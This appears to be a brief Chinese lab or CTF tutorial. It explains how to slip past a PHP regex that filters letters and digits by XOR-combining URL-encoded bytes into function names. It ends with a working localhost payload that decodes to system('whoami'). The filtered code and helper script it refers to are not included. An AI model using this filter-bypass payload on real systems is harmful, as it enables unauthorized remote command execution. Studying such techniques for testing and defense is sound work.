RCE无字母数字绕过正则表达式基础

这串代码过滤了字母和数字。

php可以通过两个字符异或拼接出字母，这样就可以实现命令执行了。

写一段脚本看看哪些字符异或可以得到常见字母。

运行之后就得到了这些结果，我们只需要去找其中所需字母何其对应的url码。

var_dump(urldecode("%08%02%08%08%05%0d") ^ urldecode("%7b%7b%7b%7c%60%60"));

var_dump(urldecode("%08%08%0f%01%0d%09") ^ urldecode("%7f%60%60%60%60%60"));

现在只需要把其写进code中就行了。

http://127.0.0.1/web5.php?code=(%22%08%02%08%08%05%0d%22^%22%7b%7b%7b%7c%60%60%22)(%22%08%08%0f%01%0d%09%22^%22%7f%60%60%60%60%60%22);